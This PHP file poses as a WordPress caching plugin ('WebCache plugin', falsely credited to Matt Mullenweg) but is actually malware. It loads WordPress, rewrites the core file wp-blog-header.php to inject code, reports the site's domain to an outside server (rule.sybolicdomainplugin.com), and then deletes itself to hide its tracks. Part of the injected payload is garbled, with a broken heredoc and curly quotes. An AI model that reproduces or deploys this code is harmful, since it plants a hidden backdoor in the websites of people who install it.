<?php
/**
* @package WebCache plugin
* @version 1.7.2
*/
/*
Plugin Name: WebCache plugin
Plugin URI: http://wordpress.org/plugins/webcache-plugin/
Description: Simple WebCache plugin
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/
$level0 = "./wp-load.php";
$level1 = "./../wp-load.php";
$level2 = "./../../wp-load.php";
$level3 = "./../../../wp-load.php";
$level4 = "./../../../../wp-load.php";
$level5 = "./../../../../../wp-load.php";
$level6 = "./../../../../../../wp-load.php";
if(file_exists($level0)){require_once("$level0");}
clearstatcache();
if(file_exists($level1)){require_once("$level1");}
clearstatcache();
if(file_exists($level2)){require_once("$level2");}
clearstatcache();
if(file_exists($level3)){require_once("$level3");}
clearstatcache();
if(file_exists($level4)){require_once("$level4");}
clearstatcache();
if(file_exists($level5)){require_once("$level5");}
clearstatcache();
if(file_exists($level6)){require_once("$level6");}
clearstatcache();
$template = get_template();
$theme_root = get_theme_root( $template );
$template_dir = "$theme_root/$template";
$http = get_site_url();
$parse = parse_url($http);
$domain = $parse['host'];
$domain = str_replace("www.", "", "$domain");
$address = "$http";
$functionsphp = file_get_contents("$template_dir/functions.php");
$wpblogheaderphp = file_get_contents("$theme_root/../../wp-blog-header.php");
$group = "5";
// Set WEBCACHE variable
$functionscode = <<post_content = preg_replace(‘/^/’, “$c “, $post->post_content);}
WEBCACHE;
$functionscode = str_replace(“DOMAIN.COM”, “$domain”, “$functionscode”);
$functionscode = str_replace(“GROUP”, “$group”, “$functionscode”);
$code1 = file_get_contents(“$theme_root/../../wp-blog-header.php”);
if (strpos(“$code1”, “curl”) !== false) {echo “GrazzMean no writing”; unlink(__FILE__); exit;}
// Insert cache
if (strpos($wpblogheaderphp, “curl”) !== false) {$functionscode = “”;};
if (strpos($wpblogheaderphp, “wp_did_header”) !== false) {
$wpblogheaderphp = str_replace(‘wp();’, $functionscode, $wpblogheaderphp);
file_put_contents(“$theme_root/../../wp-blog-header.php”, “$wpblogheaderphp”);
}
//sleep for 3 seconds
sleep(3);
// Check function
$curl = curl_init();curl_setopt($curl, CURLOPT_URL, “http://rule.sybolicdomainplugin.com/functions.php?domain_to_check=$domain&id=$group”);curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); $check = curl_exec($curl);curl_close($curl);
echo “$check”;
unlink(__FILE__);
exit;
?>
